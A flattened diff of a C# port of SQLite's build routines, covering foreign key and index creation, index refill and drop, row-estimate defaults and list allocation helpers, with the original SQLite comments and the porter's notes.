the other + ** pTo table that the foreign key points to. flags contains all + ** information about the conflict resolution algorithms specified + ** in the ON DELETE, ON UPDATE and ON INSERT clauses. + ** + ** An FKey structure is created and added to the table currently + ** under construction in the pParse.pNewTable field. + ** + ** The foreign key is set for IMMEDIATE processing. A subsequent call + ** to sqlite3DeferForeignKey() might change this to DEFERRED. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3CreateForeignKey( Parse pParse, int null_2, Token pTo, ExprList pToCol, int flags ) + { sqlite3CreateForeignKey( pParse, null, pTo, pToCol, flags ); } + static void sqlite3CreateForeignKey( + Parse pParse, /* Parsing context */ + ExprList pFromCol, /* Columns in this table that point to other table */ + Token pTo, /* Name of the other table */ + ExprList pToCol, /* Columns in the other table */ + int flags /* Conflict resolution algorithms. */ + ) + { + sqlite3 db = pParse.db; +#if !SQLITE_OMIT_FOREIGN_KEY + FKey pFKey = null; + Table p = pParse.pNewTable; + int nByte; + int i; + int nCol; + //string z; + + Debug.Assert( pTo != null ); + if ( p == null || IN_DECLARE_VTAB ) goto fk_end; + if ( pFromCol == null ) + { + int iCol = p.nCol - 1; + if ( NEVER( iCol < 0 ) ) goto fk_end; + if ( pToCol != null && pToCol.nExpr != 1 ) + { + sqlite3ErrorMsg( pParse, "foreign key on %s" + + " should reference only one column of table %T", + p.aCol[iCol].zName, pTo ); + goto fk_end; + } + nCol = 1; + } + else if ( pToCol != null && pToCol.nExpr != pFromCol.nExpr ) + { + sqlite3ErrorMsg( pParse, + "number of columns in foreign key does not match the number of " + + "columns in the referenced table" ); + goto fk_end; + } + else + { + nCol = pFromCol.nExpr; + } + //nByte = sizeof(*pFKey) + (nCol-1)*sizeof(pFKey.aCol[0]) + pTo.n + 1; + //if( pToCol ){ + // for(i=0; ia[i].zName) + 1; + // } + //} + pFKey = new FKey();//sqlite3DbMallocZero(db, nByte ); + if ( pFKey == null ) + { + goto fk_end; + } + pFKey.pFrom = p; + pFKey.pNextFrom = p.pFKey; + //z = pFKey.aCol[nCol].zCol; + pFKey.aCol = new FKey.sColMap[nCol];// z; + pFKey.aCol[0] = new FKey.sColMap(); + pFKey.zTo = pTo.z.Substring( 0, pTo.n ); //memcpy( z, pTo.z, pTo.n ); + //z[pTo.n] = 0; + sqlite3Dequote( ref pFKey.zTo ); + //z += pTo.n + 1; + pFKey.nCol = nCol; + if ( pFromCol == null ) + { + pFKey.aCol[0].iFrom = p.nCol - 1; + } + else + { + for ( i = 0 ; i < nCol ; i++ ) + { + if ( pFKey.aCol[i] == null ) pFKey.aCol[i] = new FKey.sColMap(); + int j; + for ( j = 0 ; j < p.nCol ; j++ ) + { + if ( sqlite3StrICmp( p.aCol[j].zName, pFromCol.a[i].zName ) == 0 ) + { + pFKey.aCol[i].iFrom = j; + break; + } + } + if ( j >= p.nCol ) + { + sqlite3ErrorMsg( pParse, + "unknown column \"%s\" in foreign key definition", + pFromCol.a[i].zName ); + goto fk_end; + } + } + } + if ( pToCol != null ) + { + for ( i = 0 ; i < nCol ; i++ ) + { + int n = sqlite3Strlen30( pToCol.a[i].zName ); + if ( pFKey.aCol[i] == null ) pFKey.aCol[i] = new FKey.sColMap(); + pFKey.aCol[i].zCol = pToCol.a[i].zName; + //memcpy( z, pToCol.a[i].zName, n ); + //z[n] = 0; + //z += n + 1; + } + } + pFKey.isDeferred = 0; + pFKey.deleteConf = (u8)( flags & 0xff ); + pFKey.updateConf = (u8)( ( flags >> 8 ) & 0xff ); + pFKey.insertConf = (u8)( ( flags >> 16 ) & 0xff ); + + /* Link the foreign key to the table as the last step. + */ + p.pFKey = pFKey; + pFKey = null; + +fk_end: + //sqlite3DbFree( db, ref pFKey ); +#endif // * !SQLITE_OMIT_FOREIGN_KEY) */ + sqlite3ExprListDelete( db, ref pFromCol ); + sqlite3ExprListDelete( db, ref pToCol ); + } + + /* + ** This routine is called when an INITIALLY IMMEDIATE or INITIALLY DEFERRED + ** clause is seen as part of a foreign key definition. The isDeferred + ** parameter is 1 for INITIALLY DEFERRED and 0 for INITIALLY IMMEDIATE. + ** The behavior of the most recently created foreign key is adjusted + ** accordingly. + */ + static void sqlite3DeferForeignKey( Parse pParse, int isDeferred ) + { +#if !SQLITE_OMIT_FOREIGN_KEY + Table pTab; + FKey pFKey; + if ( ( pTab = pParse.pNewTable ) == null || ( pFKey = pTab.pFKey ) == null ) return; + Debug.Assert( isDeferred == 0 || isDeferred == 1 ); + pFKey.isDeferred = (u8)isDeferred; +#endif + } + + /* + ** Generate code that will erase and refill index pIdx. This is + ** used to initialize a newly created index or to recompute the + ** content of an index in response to a REINDEX command. + ** + ** if memRootPage is not negative, it means that the index is newly + ** created. The register specified by memRootPage contains the + ** root page number of the index. If memRootPage is negative, then + ** the index already exists and must be cleared before being refilled and + ** the root page number of the index is taken from pIndex.tnum. + */ + static void sqlite3RefillIndex( Parse pParse, Index pIndex, int memRootPage ) + { + Table pTab = pIndex.pTable; /* The table that is indexed */ + int iTab = pParse.nTab++; /* Btree cursor used for pTab */ + int iIdx = pParse.nTab++; /* Btree cursor used for pIndex */ + int addr1; /* Address of top of loop */ + int tnum; /* Root page of index */ + Vdbe v; /* Generate code into this virtual machine */ + KeyInfo pKey; /* KeyInfo for index */ + int regIdxKey; /* Registers containing the index key */ + int regRecord; /* Register holding assemblied index record */ + sqlite3 db = pParse.db; /* The database connection */ + int iDb = sqlite3SchemaToIndex( db, pIndex.pSchema ); + +#if !SQLITE_OMIT_AUTHORIZATION +if( sqlite3AuthCheck(pParse, SQLITE_REINDEX, pIndex.zName, 0, +db.aDb[iDb].zName ) ){ +return; +} +#endif + + /* Require a write-lock on the table to perform this operation */ + sqlite3TableLock( pParse, iDb, pTab.tnum, 1, pTab.zName ); + v = sqlite3GetVdbe( pParse ); + if ( v == null ) return; + if ( memRootPage >= 0 ) + { + tnum = memRootPage; + } + else + { + tnum = pIndex.tnum; + sqlite3VdbeAddOp2( v, OP_Clear, tnum, iDb ); + } + pKey = sqlite3IndexKeyinfo( pParse, pIndex ); + sqlite3VdbeAddOp4( v, OP_OpenWrite, iIdx, tnum, iDb, + pKey, P4_KEYINFO_HANDOFF ); + if ( memRootPage >= 0 ) + { + sqlite3VdbeChangeP5( v, 1 ); + } + sqlite3OpenTable( pParse, iTab, iDb, pTab, OP_OpenRead ); + addr1 = sqlite3VdbeAddOp2( v, OP_Rewind, iTab, 0 ); + regRecord = sqlite3GetTempReg( pParse ); + regIdxKey = sqlite3GenerateIndexKey( pParse, pIndex, iTab, regRecord, true ); + if ( pIndex.onError != OE_None ) + { + int regRowid = regIdxKey + pIndex.nColumn; + int j2 = sqlite3VdbeCurrentAddr( v ) + 2; + int pRegKey = regIdxKey;// SQLITE_INT_TO_PTR( regIdxKey ); + + /* The registers accessed by the OP_IsUnique opcode were allocated + ** using sqlite3GetTempRange() inside of the sqlite3GenerateIndexKey() + ** call above. Just before that function was freed they were released + ** (made available to the compiler for reuse) using + ** sqlite3ReleaseTempRange(). So in some ways having the OP_IsUnique + ** opcode use the values stored within seems dangerous. However, since + ** we can be sure that no other temp registers have been allocated + ** since sqlite3ReleaseTempRange() was called, it is safe to do so. + */ + sqlite3VdbeAddOp4( v, OP_IsUnique, iIdx, j2, regRowid, pRegKey, P4_INT32 ); + sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, OE_Abort, 0, + "indexed columns are not unique", P4_STATIC ); + } + sqlite3VdbeAddOp2( v, OP_IdxInsert, iIdx, regRecord ); + sqlite3VdbeChangeP5( v, OPFLAG_USESEEKRESULT ); + sqlite3ReleaseTempReg( pParse, regRecord ); + sqlite3VdbeAddOp2( v, OP_Next, iTab, addr1 + 1 ); + sqlite3VdbeJumpHere( v, addr1 ); + sqlite3VdbeAddOp1( v, OP_Close, iTab ); + sqlite3VdbeAddOp1( v, OP_Close, iIdx ); + } + + /* + ** Create a new index for an SQL table. pName1.pName2 is the name of the index + ** and pTblList is the name of the table that is to be indexed. Both will + ** be NULL for a primary key or an index that is created to satisfy a + ** UNIQUE constraint. If pTable and pIndex are NULL, use pParse.pNewTable + ** as the table to be indexed. pParse.pNewTable is a table that is + ** currently being constructed by a CREATE TABLE statement. + ** + ** pList is a list of columns to be indexed. pList will be NULL if this + ** is a primary key or unique-constraint on the most recent column added + ** to the table currently under construction. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3CreateIndex( Parse pParse, int null_2, int null_3, int null_4, int null_5, int onError, int null_7, int null_8, int sortOrder, int ifNotExist ) + { sqlite3CreateIndex( pParse, null, null, null, null, onError, null, null, sortOrder, ifNotExist ); } + static void sqlite3CreateIndex( Parse pParse, int null_2, int null_3, int null_4, ExprList pList, int onError, int null_7, int null_8, int sortOrder, int ifNotExist ) + { sqlite3CreateIndex( pParse, null, null, null, pList, onError, null, null, sortOrder, ifNotExist ); } + static void sqlite3CreateIndex( + Parse pParse, /* All information about this Parse */ + Token pName1, /* First part of index name. May be NULL */ + Token pName2, /* Second part of index name. May be NULL */ + SrcList pTblName, /* Table to index. Use pParse.pNewTable if 0 */ + ExprList pList, /* A list of columns to be indexed */ + int onError, /* OE_Abort, OE_Ignore, OE_Replace, or OE_None */ + Token pStart, /* The CREATE token that begins this statement */ + Token pEnd, /* The ")" that closes the CREATE INDEX statement */ + int sortOrder, /* Sort order of primary key when pList==NULL */ + int ifNotExist /* Omit error if index already exists */ + ) + { + Table pTab = null; /* Table to be indexed */ + Index pIndex = null; /* The index to be created */ + string zName = null; /* Name of the index */ + int nName; /* Number of characters in zName */ + int i, j; + Token nullId = new Token(); /* Fake token for an empty ID list */ + DbFixer sFix = new DbFixer(); /* For assigning database names to pTable */ + int sortOrderMask; /* 1 to honor DESC in index. 0 to ignore. */ + sqlite3 db = pParse.db; + Db pDb; /* The specific table containing the indexed database */ + int iDb; /* Index of the database that is being written */ + Token pName = null; /* Unqualified name of the index to create */ + ExprList_item pListItem; /* For looping over pList */ + int nCol; + int nExtra = 0; + StringBuilder zExtra = new StringBuilder(); + + Debug.Assert( pStart == null || pEnd != null ); /* pEnd must be non-NULL if pStart is */ + Debug.Assert( pParse.nErr == 0 ); /* Never called with prior errors */ + if ( /* db.mallocFailed != 0 || */ IN_DECLARE_VTAB ) + { + goto exit_create_index; + } + if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) + { + goto exit_create_index; + } + + /* + ** Find the table that is to be indexed. Return early if not found. + */ + if ( pTblName != null ) + { + + /* Use the two-part index name to determine the database + ** to search for the table. 'Fix' the table name to this db + ** before looking up the table. + */ + Debug.Assert( pName1 != null && pName2 != null ); + iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pName ); + if ( iDb < 0 ) goto exit_create_index; + +#if !SQLITE_OMIT_TEMPDB + /* If the index name was unqualified, check if the the table +** is a temp table. If so, set the database to 1. Do not do this +** if initialising a database schema. +*/ + if ( 0 == db.init.busy ) + { + pTab = sqlite3SrcListLookup( pParse, pTblName ); + if ( pName2.n == 0 && pTab != null && pTab.pSchema == db.aDb[1].pSchema ) + { + iDb = 1; + } + } +#endif + + if ( sqlite3FixInit( sFix, pParse, iDb, "index", pName ) != 0 && + sqlite3FixSrcList( sFix, pTblName ) != 0 + ) + { + /* Because the parser constructs pTblName from a single identifier, + ** sqlite3FixSrcList can never fail. */ + Debugger.Break(); + } + pTab = sqlite3LocateTable( pParse, 0, pTblName.a[0].zName, + pTblName.a[0].zDatabase ); + if ( pTab == null /*|| db.mallocFailed != 0 */ ) goto exit_create_index; + Debug.Assert( db.aDb[iDb].pSchema == pTab.pSchema ); + } + else + { + Debug.Assert( pName == null ); + pTab = pParse.pNewTable; + if ( pTab == null ) goto exit_create_index; + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + } + pDb = db.aDb[iDb]; + + Debug.Assert( pTab != null ); + Debug.Assert( pParse.nErr == 0 ); + if ( sqlite3StrNICmp( pTab.zName, "sqlite_", 7 ) == 0 + && sqlite3StrNICmp( pTab.zName, 7, "altertab_", 9 ) != 0 ) + { + sqlite3ErrorMsg( pParse, "table %s may not be indexed", pTab.zName ); + goto exit_create_index; + } +#if !SQLITE_OMIT_VIEW + if ( pTab.pSelect != null ) + { + sqlite3ErrorMsg( pParse, "views may not be indexed" ); + goto exit_create_index; + } +#endif + if ( IsVirtual( pTab ) ) + { + sqlite3ErrorMsg( pParse, "virtual tables may not be indexed" ); + goto exit_create_index; + } + + /* + ** Find the name of the index. Make sure there is not already another + ** index or table with the same name. + ** + ** Exception: If we are reading the names of permanent indices from the + ** sqlite_master table (because some other process changed the schema) and + ** one of the index names collides with the name of a temporary table or + ** index, then we will continue to process this index. + ** + ** If pName==0 it means that we are + ** dealing with a primary key or UNIQUE constraint. We have to invent our + ** own name. + */ + if ( pName != null ) + { + zName = sqlite3NameFromToken( db, pName ); + if ( zName == null ) goto exit_create_index; + if ( SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) ) + { + goto exit_create_index; + } + if ( 0 == db.init.busy ) + { + if ( sqlite3FindTable( db, zName, null ) != null ) + { + sqlite3ErrorMsg( pParse, "there is already a table named %s", zName ); + goto exit_create_index; + } + } + if ( sqlite3FindIndex( db, zName, pDb.zName ) != null ) + { + if ( ifNotExist == 0 ) + { + sqlite3ErrorMsg( pParse, "index %s already exists", zName ); + } + goto exit_create_index; + } + } + else + { + int n = 0; + Index pLoop; + for ( pLoop = pTab.pIndex, n = 1 ; pLoop != null ; pLoop = pLoop.pNext, n++ ) { } + zName = sqlite3MPrintf( db, "sqlite_autoindex_%s_%d", pTab.zName, n ); + if ( zName == null ) + { + goto exit_create_index; + } + } + + /* Check for authorization to create an index. + */ +#if !SQLITE_OMIT_AUTHORIZATION +{ +string zDb = pDb.zName; +if( sqlite3AuthCheck(pParse, SQLITE_INSERT, SCHEMA_TABLE(iDb), 0, zDb) ){ +goto exit_create_index; +} +i = SQLITE_CREATE_INDEX; +if( OMIT_TEMPDB ==0&& iDb==1 ) i = SQLITE_CREATE_TEMP_INDEX; +if( sqlite3AuthCheck(pParse, i, zName, pTab.zName, zDb) ){ +goto exit_create_index; +} +} +#endif + + /* If pList==0, it means this routine was called to make a primary +** key out of the last column added to the table under construction. +** So create a fake list to simulate this. +*/ + if ( pList == null ) + { + nullId.z = pTab.aCol[pTab.nCol - 1].zName; + nullId.n = sqlite3Strlen30( nullId.z ); + pList = sqlite3ExprListAppend( pParse, null, null ); + if ( pList == null ) goto exit_create_index; + sqlite3ExprListSetName( pParse, pList, nullId, 0 ); + pList.a[0].sortOrder = (u8)sortOrder; + } + + /* Figure out how many bytes of space are required to store explicitly + ** specified collation sequence names. + */ + for ( i = 0 ; i < pList.nExpr ; i++ ) + { + Expr pExpr = pList.a[i].pExpr; + if ( pExpr != null ) + { + CollSeq pColl = pExpr.pColl; + /* Either pColl!=0 or there was an OOM failure. But if an OOM + ** failure we have quit before reaching this point. */ + if ( ALWAYS( pColl != null ) ) + { + nExtra += ( 1 + sqlite3Strlen30( pColl.zName ) ); + } + } + } + + /* + ** Allocate the index structure. + */ + nName = sqlite3Strlen30( zName ); + nCol = pList.nExpr; + pIndex = new Index(); + // sqlite3DbMallocZero( db, + // Index.Length + /* Index structure */ + // sizeof( int ) * nCol + /* Index.aiColumn */ + // sizeof( int ) * ( nCol + 1 ) + /* Index.aiRowEst */ + // sizeof( char* ) * nCol + /* Index.azColl */ + // u8.Length * nCol + /* Index.aSortOrder */ + // nName + 1 + /* Index.zName */ + // nExtra /* Collation sequence names */ + //); + //if ( db.mallocFailed != 0 ) + //{ + // goto exit_create_index; + //} + pIndex.azColl = new string[nCol];//(char**)(pIndex[1]); + pIndex.aiColumn = new int[nCol + 1];//(int *)(pIndex->azColl[nCol]); + pIndex.aiRowEst = new int[nCol + 1];//(unsigned *)(pIndex->aiColumn[nCol]); + pIndex.aSortOrder = new byte[nCol + 1];//(u8 *)(pIndex->aiRowEst[nCol+1]); + //pIndex.zName = null;// (char*)( &pIndex->aSortOrder[nCol] ); + zExtra = new StringBuilder( nName + 1 );// (char*)( &pIndex.zName[nName + 1] ); + if ( zName.Length == nName ) pIndex.zName = zName; + else { pIndex.zName = zName.Substring( 0, nName ); }// memcpy( pIndex.zName, zName, nName + 1 ); + pIndex.pTable = pTab; + pIndex.nColumn = pList.nExpr; + pIndex.onError = (u8)onError; + pIndex.autoIndex = (u8)( pName == null ? 1 : 0 ); + pIndex.pSchema = db.aDb[iDb].pSchema; + + /* Check to see if we should honor DESC requests on index columns + */ + if ( pDb.pSchema.file_format >= 4 ) + { + sortOrderMask = 1; /* Honor DESC */ + } + else + { + sortOrderMask = 0; /* Ignore DESC */ + } + + /* Scan the names of the columns of the table to be indexed and + ** load the column indices into the Index structure. Report an error + ** if any column is not found. + ** + ** TODO: Add a test to make sure that the same column is not named + ** more than once within the same index. Only the first instance of + ** the column will ever be used by the optimizer. Note that using the + ** same column more than once cannot be an error because that would + ** break backwards compatibility - it needs to be a warning. + */ + for ( i = 0 ; i < pList.nExpr ; i++ ) + {//, pListItem++){ + pListItem = pList.a[i]; + string zColName = pListItem.zName; + Column pTabCol; + byte requestedSortOrder; + string zColl; /* Collation sequence name */ + + for ( j = 0 ; j < pTab.nCol ; j++ ) + {//, pTabCol++){ + pTabCol = pTab.aCol[j]; + if ( sqlite3StrICmp( zColName, pTabCol.zName ) == 0 ) break; + } + if ( j >= pTab.nCol ) + { + sqlite3ErrorMsg( pParse, "table %s has no column named %s", + pTab.zName, zColName ); + goto exit_create_index; + } + pIndex.aiColumn[i] = j; + /* Justification of the ALWAYS(pListItem->pExpr->pColl): Because of + ** the way the "idxlist" non-terminal is constructed by the parser, + ** if pListItem->pExpr is not null then either pListItem->pExpr->pColl + ** must exist or else there must have been an OOM error. But if there + ** was an OOM error, we would never reach this point. */ + if ( pListItem.pExpr != null && ALWAYS( pListItem.pExpr.pColl ) ) + { + int nColl; + zColl = pListItem.pExpr.pColl.zName; + nColl = sqlite3Strlen30( zColl ); + Debug.Assert( nExtra >= nColl ); + zExtra = new StringBuilder( zColl.Substring( 0, nColl ) );// memcpy( zExtra, zColl, nColl ); + zColl = zExtra.ToString(); + //zExtra += nColl; + nExtra -= nColl; + } + else + { + zColl = pTab.aCol[j].zColl; + if ( zColl == null ) + { + zColl = db.pDfltColl.zName; + } + } + if ( 0 == db.init.busy && sqlite3LocateCollSeq( pParse, zColl ) == null ) + { + goto exit_create_index; + } + pIndex.azColl[i] = zColl; + requestedSortOrder = (u8)( ( pListItem.sortOrder & sortOrderMask ) != 0 ? 1 : 0 ); + pIndex.aSortOrder[i] = (u8)requestedSortOrder; + } + sqlite3DefaultRowEst( pIndex ); + + if ( pTab == pParse.pNewTable ) + { + /* This routine has been called to create an automatic index as a + ** result of a PRIMARY KEY or UNIQUE clause on a column definition, or + ** a PRIMARY KEY or UNIQUE clause following the column definitions. + ** i.e. one of: + ** + ** CREATE TABLE t(x PRIMARY KEY, y); + ** CREATE TABLE t(x, y, UNIQUE(x, y)); + ** + ** Either way, check to see if the table already has such an index. If + ** so, don't bother creating this one. This only applies to + ** automatically created indices. Users can do as they wish with + ** explicit indices. + ** + ** Two UNIQUE or PRIMARY KEY constraints are considered equivalent + ** (and thus suppressing the second one) even if they have different + ** sort orders. + ** + ** If there are different collating sequences or if the columns of + ** the constraint occur in different orders, then the constraints are + ** considered distinct and both result in separate indices. + */ + Index pIdx; + for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) + { + int k; + Debug.Assert( pIdx.onError != OE_None ); + Debug.Assert( pIdx.autoIndex != 0 ); + Debug.Assert( pIndex.onError != OE_None ); + + if ( pIdx.nColumn != pIndex.nColumn ) continue; + for ( k = 0 ; k < pIdx.nColumn ; k++ ) + { + string z1; + string z2; + if ( pIdx.aiColumn[k] != pIndex.aiColumn[k] ) break; + z1 = pIdx.azColl[k]; + z2 = pIndex.azColl[k]; + if ( z1 != z2 && sqlite3StrICmp( z1, z2 ) != 0 ) break; + } + if ( k == pIdx.nColumn ) + { + if ( pIdx.onError != pIndex.onError ) + { + /* This constraint creates the same index as a previous + ** constraint specified somewhere in the CREATE TABLE statement. + ** However the ON CONFLICT clauses are different. If both this + ** constraint and the previous equivalent constraint have explicit + ** ON CONFLICT clauses this is an error. Otherwise, use the + ** explicitly specified behavior for the index. + */ + if ( !( pIdx.onError == OE_Default || pIndex.onError == OE_Default ) ) + { + sqlite3ErrorMsg( pParse, + "conflicting ON CONFLICT clauses specified", 0 ); + } + if ( pIdx.onError == OE_Default ) + { + pIdx.onError = pIndex.onError; + } + } + goto exit_create_index; + } + } + } + + /* Link the new Index structure to its table and to the other + ** in-memory database structures. + */ + if ( db.init.busy != 0 ) + { + Index p; + p = (Index)sqlite3HashInsert( ref pIndex.pSchema.idxHash, + pIndex.zName, sqlite3Strlen30( pIndex.zName ), + pIndex ); + if ( p != null ) + { + Debug.Assert( p == pIndex ); /* Malloc must have failed */ + // db.mallocFailed = 1; + goto exit_create_index; + } + db.flags |= SQLITE_InternChanges; + if ( pTblName != null ) + { + pIndex.tnum = db.init.newTnum; + } + } + + /* If the db.init.busy is 0 then create the index on disk. This + ** involves writing the index into the master table and filling in the + ** index with the current table contents. + ** + ** The db.init.busy is 0 when the user first enters a CREATE INDEX + ** command. db.init.busy is 1 when a database is opened and + ** CREATE INDEX statements are read out of the master table. In + ** the latter case the index already exists on disk, which is why + ** we don't want to recreate it. + ** + ** If pTblName==0 it means this index is generated as a primary key + ** or UNIQUE constraint of a CREATE TABLE statement. Since the table + ** has just been created, it contains no data and the index initialization + ** step can be skipped. + */ + else //if ( 0 == db.init.busy ) + { + Vdbe v; + string zStmt; + int iMem = ++pParse.nMem; + + v = sqlite3GetVdbe( pParse ); + if ( v == null ) goto exit_create_index; + + + /* Create the rootpage for the index + */ + sqlite3BeginWriteOperation( pParse, 1, iDb ); + sqlite3VdbeAddOp2( v, OP_CreateIndex, iDb, iMem ); + + /* Gather the complete text of the CREATE INDEX statement into + ** the zStmt variable + */ + if ( pStart != null ) + { + Debug.Assert( pEnd != null ); + /* A named index with an explicit CREATE INDEX statement */ + zStmt = sqlite3MPrintf( db, "CREATE%s INDEX %.*s", + onError == OE_None ? "" : " UNIQUE", + pName.z.Length - pEnd.z.Length + 1, + pName.z ); + } + else + { + /* An automatic index created by a PRIMARY KEY or UNIQUE constraint */ + /* zStmt = sqlite3MPrintf(""); */ + zStmt = null; + } + + /* Add an entry in sqlite_master for this index + */ + sqlite3NestedParse( pParse, + "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);", + db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), + pIndex.zName, + pTab.zName, + iMem, + zStmt + ); + //sqlite3DbFree( db, ref zStmt ); + + /* Fill the index with data and reparse the schema. Code an OP_Expire + ** to invalidate all pre-compiled statements. + */ + if ( pTblName != null ) + { + sqlite3RefillIndex( pParse, pIndex, iMem ); + sqlite3ChangeCookie( pParse, iDb ); + sqlite3VdbeAddOp4( v, OP_ParseSchema, iDb, 0, 0, + sqlite3MPrintf( db, "name='%q'", pIndex.zName ), P4_DYNAMIC ); + sqlite3VdbeAddOp1( v, OP_Expire, 0 ); + } + } + + /* When adding an index to the list of indices for a table, make + ** sure all indices labeled OE_Replace come after all those labeled + ** OE_Ignore. This is necessary for the correct constraint check + ** processing (in sqlite3GenerateConstraintChecks()) as part of + ** UPDATE and INSERT statements. + */ + if ( db.init.busy != 0 || pTblName == null ) + { + if ( onError != OE_Replace || pTab.pIndex == null + || pTab.pIndex.onError == OE_Replace ) + { + pIndex.pNext = pTab.pIndex; + pTab.pIndex = pIndex; + } + else + { + Index pOther = pTab.pIndex; + while ( pOther.pNext != null && pOther.pNext.onError != OE_Replace ) + { + pOther = pOther.pNext; + } + pIndex.pNext = pOther.pNext; + pOther.pNext = pIndex; + } + pIndex = null; + } + + /* Clean up before exiting */ +exit_create_index: + if ( pIndex != null ) + { + //sqlite3_free( ref pIndex.zColAff ); + //sqlite3DbFree( db, ref pIndex ); + } + sqlite3ExprListDelete( db, ref pList ); + sqlite3SrcListDelete( db, ref pTblName ); + //sqlite3DbFree( db, ref zName ); + return; + } + + /* + ** Fill the Index.aiRowEst[] array with default information - information + ** to be used when we have not run the ANALYZE command. + ** + ** aiRowEst[0] is suppose to contain the number of elements in the index. + ** Since we do not know, guess 1 million. aiRowEst[1] is an estimate of the + ** number of rows in the table that match any particular value of the + ** first column of the index. aiRowEst[2] is an estimate of the number + ** of rows that match any particular combiniation of the first 2 columns + ** of the index. And so forth. It must always be the case that + * + ** aiRowEst[N]<=aiRowEst[N-1] + ** aiRowEst[N]>=1 + ** + ** Apart from that, we have little to go on besides intuition as to + ** how aiRowEst[] should be initialized. The numbers generated here + ** are based on typical values found in actual indices. + */ + static void sqlite3DefaultRowEst( Index pIdx ) + { + int[] a = pIdx.aiRowEst; + int i; + Debug.Assert( a != null ); + a[0] = 1000000; + for ( i = pIdx.nColumn ; i >= 5 ; i-- ) + { + a[i] = 5; + } + while ( i >= 1 ) + { + a[i] = 11 - i; + i--; + } + if ( pIdx.onError != OE_None ) + { + a[pIdx.nColumn] = 1; + } + } + + /* + ** This routine will drop an existing named index. This routine + ** implements the DROP INDEX statement. + */ + static void sqlite3DropIndex( Parse pParse, SrcList pName, int ifExists ) + { + Index pIndex; + Vdbe v; + sqlite3 db = pParse.db; + int iDb; + + Debug.Assert( pParse.nErr == 0 ); /* Never called with prior errors */ + //if ( db.mallocFailed != 0 ) + //{ + // goto exit_drop_index; + //} + Debug.Assert( pName.nSrc == 1 ); + if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) + { + goto exit_drop_index; + } + pIndex = sqlite3FindIndex( db, pName.a[0].zName, pName.a[0].zDatabase ); + if ( pIndex == null ) + { + if ( ifExists == 0 ) + { + sqlite3ErrorMsg( pParse, "no such index: %S", pName, 0 ); + } + pParse.checkSchema = 1; + goto exit_drop_index; + } + if ( pIndex.autoIndex != 0 ) + { + sqlite3ErrorMsg( pParse, "index associated with UNIQUE " + + "or PRIMARY KEY constraint cannot be dropped", 0 ); + goto exit_drop_index; + } + iDb = sqlite3SchemaToIndex( db, pIndex.pSchema ); +#if !SQLITE_OMIT_AUTHORIZATION +{ +int code = SQLITE_DROP_INDEX; +Table pTab = pIndex.pTable; +string zDb = db.aDb[iDb].zName; +string zTab = SCHEMA_TABLE(iDb); +if( sqlite3AuthCheck(pParse, SQLITE_DELETE, zTab, 0, zDb) ){ +goto exit_drop_index; +} +if( OMIT_TEMPDB ==0&& iDb ) code = SQLITE_DROP_TEMP_INDEX; +if( sqlite3AuthCheck(pParse, code, pIndex.zName, pTab.zName, zDb) ){ +goto exit_drop_index; +} +} +#endif + + /* Generate code to remove the index and from the master table */ + v = sqlite3GetVdbe( pParse ); + if ( v != null ) + { + sqlite3BeginWriteOperation( pParse, 1, iDb ); + sqlite3NestedParse( pParse, + "DELETE FROM %Q.%s WHERE name=%Q", + db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), + pIndex.zName + ); + if ( sqlite3FindTable( db, "sqlite_stat1", db.aDb[iDb].zName ) != null ) + { + sqlite3NestedParse( pParse, + "DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q", + db.aDb[iDb].zName, pIndex.zName + ); + } + sqlite3ChangeCookie( pParse, iDb ); + destroyRootPage( pParse, pIndex.tnum, iDb ); + sqlite3VdbeAddOp4( v, OP_DropIndex, iDb, 0, 0, pIndex.zName, 0 ); + } + +exit_drop_index: + sqlite3SrcListDelete( db, ref pName ); + } + + /* + ** pArray is a pointer to an array of objects. Each object in the + ** array is szEntry bytes in size. This routine allocates a new + ** object on the end of the array. + ** + ** pnEntry is the number of entries already in use. pnAlloc is + ** the previously allocated size of the array. initSize is the + ** suggested initial array size allocation. + ** + ** The index of the new entry is returned in pIdx. + ** + ** This routine returns a pointer to the array of objects. This + ** might be the same as the pArray parameter or it might be a different + ** pointer if the array was resized. + */ + static T[] sqlite3ArrayAllocate( + sqlite3 db, /* Connection to notify of malloc failures */ + T[] pArray, /* Array of objects. Might be reallocated */ + int szEntry, /* Size of each object in the array */ + int initSize, /* Suggested initial allocation, in elements */ + ref int pnEntry, /* Number of objects currently in use */ + ref int pnAlloc, /* Current size of the allocation, in elements */ + ref int pIdx /* Write the index of a new slot here */ + ) where T : new() + { + //char* z; + if ( pnEntry >= pnAlloc ) + { + //void* pNew; + int newSize; + newSize = ( pnAlloc ) * 2 + initSize; + //pNew = sqlite3DbRealloc(db, pArray, newSize * szEntry); + //if (pNew == 0) + //{ + // pIdx = -1; + // return pArray; + //} + pnAlloc = newSize; //sqlite3DbMallocSize(db, pNew)/szEntry; + //pArray = pNew; + Array.Resize( ref pArray, newSize ); + } + pArray[pnEntry] = new T(); + //z = (char*)pArray; + //memset(z[*pnEntry * szEntry], 0, szEntry); + pIdx = pnEntry; + ++pnEntry; + return pArray; + } + + /* + ** Append a new element to the given IdList. Create a new IdList if + ** need be. + ** + ** A new IdList is returned, or NULL if malloc() fails. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static IdList sqlite3IdListAppend( sqlite3 db, int null_2, Token pToken ) + { return sqlite3IdListAppend( db, null, pToken ); } + static IdList sqlite3IdListAppend( sqlite3 db, IdList pList, Token pToken ) + { + int i = 0; + if ( pList == null ) + { + pList = new IdList();//sqlite3DbMallocZero(db, sizeof(IdList)); + if ( pList == null ) return null; + pList.nAlloc = 0; + } + pList.a = (IdList_item[])sqlite3ArrayAllocate( + db, + pList.a, + -1,//sizeof(pList.a[0]), + 5, + ref pList.nId, + ref pList.nAlloc, + ref i + ); + if ( i < 0 ) + { + sqlite3IdListDelete( db, ref pList ); + return null; + } + pList.a[i].zName = sqlite3NameFromToken( db, pToken ); + return pList; + } 